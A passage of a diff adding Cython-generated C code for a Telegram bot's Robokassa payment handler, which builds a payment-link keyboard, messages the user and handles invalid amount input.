__PYX_ERR(0, 263, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 263, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_6)) __PYX_ERR(0, 263, __pyx_L4_error); + __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":264 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 264, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay_robokassa) < 0) __PYX_ERR(0, 264, __pyx_L4_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_13); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_13)) __PYX_ERR(0, 264, __pyx_L4_error); + __pyx_t_13 = 0; + + /* "handlers/payments/robokassa_pay.py":262 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_13 = PyList_New(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 262, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_2)) __PYX_ERR(0, 262, __pyx_L4_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 1, __pyx_t_1)) __PYX_ERR(0, 262, __pyx_L4_error); + __pyx_t_2 = 0; + __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_inline_keyboard, __pyx_t_13) < 0) __PYX_ERR(0, 262, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/robokassa_pay.py":261 + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 261, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_13; + __pyx_t_13 = 0; + + /* "handlers/payments/robokassa_pay.py":268 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 268, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + + /* "handlers/payments/robokassa_pay.py":269 + * + * await message.answer( + * text=f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = PyTuple_New(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u__18); + __pyx_t_5 = (65535 > __pyx_t_5) ? 65535 : __pyx_t_5; + __pyx_t_4 += 25; + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_kp_u__18); + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__19); + __pyx_t_5 = (65535 > __pyx_t_5) ? 65535 : __pyx_t_5; + __pyx_t_4 += 45; + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_kp_u__19); + __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_7, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":270 + * await message.answer( + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * await state.clear() + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 269, __pyx_L4_error) + + /* "handlers/payments/robokassa_pay.py":268 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 268, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 268, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 268, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":272 + * reply_markup=confirm_keyboard, + * ) + * await state.clear() # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_clear); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 272, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 272, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":250 + * inv_id = 0 + * + * try: # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":273 + * ) + * await state.clear() + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" {tg_id}: {e}") + * await message.answer( + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.robokassa_pay.handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_3, &__pyx_t_13) < 0) __PYX_ERR(0, 273, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_INCREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":274 + * await state.clear() + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") # <<<<<<<<<<<<<< + * await message.answer( + * text=" ( )." + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u__29); + __pyx_t_5 = (65535 > __pyx_t_5) ? 65535 : __pyx_t_5; + __pyx_t_4 += 35; + __Pyx_GIVEREF(__pyx_kp_u__29); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__29); + __pyx_t_15 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_15); + __Pyx_GIVEREF(__pyx_t_15); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_15); + __pyx_t_15 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_4 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__16); + __pyx_t_15 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_15); + __Pyx_GIVEREF(__pyx_t_15); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_15); + __pyx_t_15 = 0; + __pyx_t_15 = __Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_15}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 1+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":275 + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") + * await message.answer( # <<<<<<<<<<<<<< + * text=" ( )." + * ) + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 275, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/robokassa_pay.py":276 + * logger.error(f" {tg_id}: {e}") + * await message.answer( + * text=" ( )." # <<<<<<<<<<<<<< + * ) + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 276, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__30) < 0) __PYX_ERR(0, 276, __pyx_L19_error) + + /* "handlers/payments/robokassa_pay.py":275 + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") + * await message.answer( # <<<<<<<<<<<<<< + * text=" ( )." + * ) + */ + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 275, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L21_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 275, __pyx_L19_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 275, __pyx_L19_error) + } + } + } + + /* "handlers/payments/robokassa_pay.py":273 + * ) + * await state.clear() + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" {tg_id}: {e}") + * await message.answer( + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L20; + } + __pyx_L19_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_14 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L6_except_error; + } + __pyx_L20:; + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/robokassa_pay.py":250 + * inv_id = 0 + * + * try: # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)o; + #if CYTHON_USE_TP_FINALIZE 